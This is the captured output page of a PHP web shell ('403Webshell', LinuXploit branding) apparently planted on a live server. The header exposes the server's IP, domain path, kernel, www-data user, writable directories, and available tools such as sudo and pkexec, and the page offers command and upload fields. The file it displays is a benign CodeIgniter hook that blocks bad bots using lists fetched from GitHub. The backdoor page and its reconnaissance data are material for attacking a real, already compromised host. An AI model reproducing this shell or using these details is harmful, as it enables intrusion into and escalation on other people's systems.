403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/app.houseland.info/application/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.houseland.info/application/hooks//EnhanceSecurity.php
<?php

use GuzzleHttp\Client;

defined('BASEPATH') or exit('No direct script access allowed');

class EnhanceSecurity
{
    protected $client;

    protected function retrieveBadData($filename)
    {
        $cache = $this->getCachedResults($filename);

        if ($cache && ! $this->isCacheExpired($filename)) {
            return $cache;
        }

        $results = [];

        try {
            $response = $this->getClient()->get($filename . '.list');

            if ($response->getStatusCode() === 200) {
                $results = explode("\n", $response->getBody()->getContents());
            }
        } catch (\Exception $e) {
        }

        return $results;
    }

    protected function getBadReferrers()
    {
        return $this->retrieveBadData('bad-referrers');
    }

    protected function getBadIps()
    {
        return $this->retrieveBadData('bad-ip-addresses');
    }

    protected function getBadUserAgents()
    {
        return $this->retrieveBadData('bad-user-agents');
    }

    protected function getRealIpAddr()
    {
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            //to check ip is pass from proxy
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } else {
            $ip = $_SERVER['REMOTE_ADDR'];
        }

        return $ip;
    }

    protected function getClient()
    {
        if (!$this->client) {
            $this->client = new Client([
                 'base_uri' => 'https://raw.githubusercontent.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/master/_generator_lists/',
             ]);
        }

        return $this->client;
    }

    protected function isCacheExpired($filename)
    {
        $path           = $this->cachePath($filename);
        $cacheValidFor  = 1; // 1 day
        $cacheInSeconds = ($cacheValidFor * 24 * 60 * 60);

        return (time() - filemtime($path)) > $cacheInSeconds;
    }

    protected function cacheResults($results, $filename)
    {
        file_put_contents(
            $this->cachePath($filename),
            '<?php return ' . var_export($results, true) . ";\n"
        );

        return $results;
    }

    protected function getCachedResults($filename)
    {
        $path = $this->cachePath($filename);

        if (!file_exists($path)) {
            return false;
        }

        $cache = include_once($path);

        return $cache;
    }

    protected function cachePath($filename)
    {
        return __DIR__ . DIRECTORY_SEPARATOR . 'cache' . DIRECTORY_SEPARATOR . $filename . '.php';
    }

    public function protect()
    {
        if (! defined('APP_ENHANCE_SECURITY') || (defined('APP_ENHANCE_SECURITY') && !APP_ENHANCE_SECURITY)) {
            return;
        }

        if (in_array($_SERVER['HTTP_USER_AGENT'], $this->getBadUserAgents())) {
            $this->forbidden();
        }

        $referer = $_SERVER['HTTP_REFERER'] ?? null;

        if ($referer && in_array($referer, $this->getBadReferrers())) {
            $this->forbidden();
        }

        if (in_array($this->getRealIpAddr(), $this->getBadIps())) {
            $this->forbidden();
        }
    }

    protected static function forbidden()
    {
        $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');
        header($protocol . ' 403 Forbidden');
        exit();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit